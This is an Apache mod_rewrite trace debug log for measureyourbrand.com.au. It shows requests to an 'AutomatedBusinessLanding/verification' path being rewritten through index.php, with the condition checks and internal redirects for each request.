[Mon Nov 10 18:37:24.494722 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0c7db0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494732 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0c7db0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494747 2025] [rewrite:trace4] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0c7db0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494765 2025] [rewrite:trace4] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0c7db0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494778 2025] [rewrite:trace4] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0c7db0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494788 2025] [rewrite:trace2] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0c7db0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494800 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0c7db0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494812 2025] [rewrite:trace2] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0c7db0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494824 2025] [rewrite:trace2] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0c7db0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494846 2025] [rewrite:trace1] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0c7db0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494945 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0ec808/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494961 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0ec808/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494971 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0ec808/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494983 2025] [rewrite:trace4] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0ec808/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.494994 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0ec808/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495004 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0ec808/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495013 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0ec808/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495035 2025] [rewrite:trace4] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0ec808/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495044 2025] [rewrite:trace1] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0ec808/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495237 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0cedd0/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495259 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0cedd0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495269 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0cedd0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495281 2025] [rewrite:trace4] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0cedd0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495323 2025] [rewrite:trace4] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0cedd0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495341 2025] [rewrite:trace4] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0cedd0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495354 2025] [rewrite:trace2] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0cedd0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495364 2025] [rewrite:trace3] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0cedd0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495380 2025] [rewrite:trace2] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0cedd0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495390 2025] [rewrite:trace2] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0cedd0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:24.495399 2025] [rewrite:trace1] [pid 8732:tid 8746] mod_rewrite.c(505): [client 45.137.99.182:51722] 45.137.99.182 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f74ec0cedd0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.602918 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510032b00/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.602981 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510032b00/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.602992 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510032b00/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603009 2025] [rewrite:trace4] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510032b00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603041 2025] [rewrite:trace4] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510032b00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603054 2025] [rewrite:trace4] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510032b00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603074 2025] [rewrite:trace2] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510032b00/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603085 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510032b00/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603099 2025] [rewrite:trace2] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510032b00/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603110 2025] [rewrite:trace2] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510032b00/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603120 2025] [rewrite:trace1] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510032b00/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603258 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510037e50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603273 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510037e50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603282 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510037e50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603294 2025] [rewrite:trace4] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510037e50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603341 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510037e50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603359 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510037e50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603368 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510037e50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603382 2025] [rewrite:trace4] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510037e50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603391 2025] [rewrite:trace1] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f7510037e50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603603 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75100bd8e0/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603640 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75100bd8e0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603640 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75100bd8e0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603665 2025] [rewrite:trace4] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75100bd8e0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603678 2025] [rewrite:trace4] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75100bd8e0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603678 2025] [rewrite:trace4] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75100bd8e0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603681 2025] [rewrite:trace2] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75100bd8e0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603690 2025] [rewrite:trace3] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75100bd8e0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603700 2025] [rewrite:trace2] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75100bd8e0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603710 2025] [rewrite:trace2] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75100bd8e0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:37:34.603719 2025] [rewrite:trace1] [pid 8732:tid 8754] mod_rewrite.c(505): [client 185.220.101.60:44325] 185.220.101.60 - - [measureyourbrand.com.au/sid#218ba3e8][rid#7f75100bd8e0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:22.016470 2025] [rewrite:trace3] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94017740/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016573 2025] [rewrite:trace3] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94017740/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016597 2025] [rewrite:trace4] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94017740/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016627 2025] [rewrite:trace4] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94017740/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016644 2025] [rewrite:trace4] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94017740/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016654 2025] [rewrite:trace2] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94017740/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
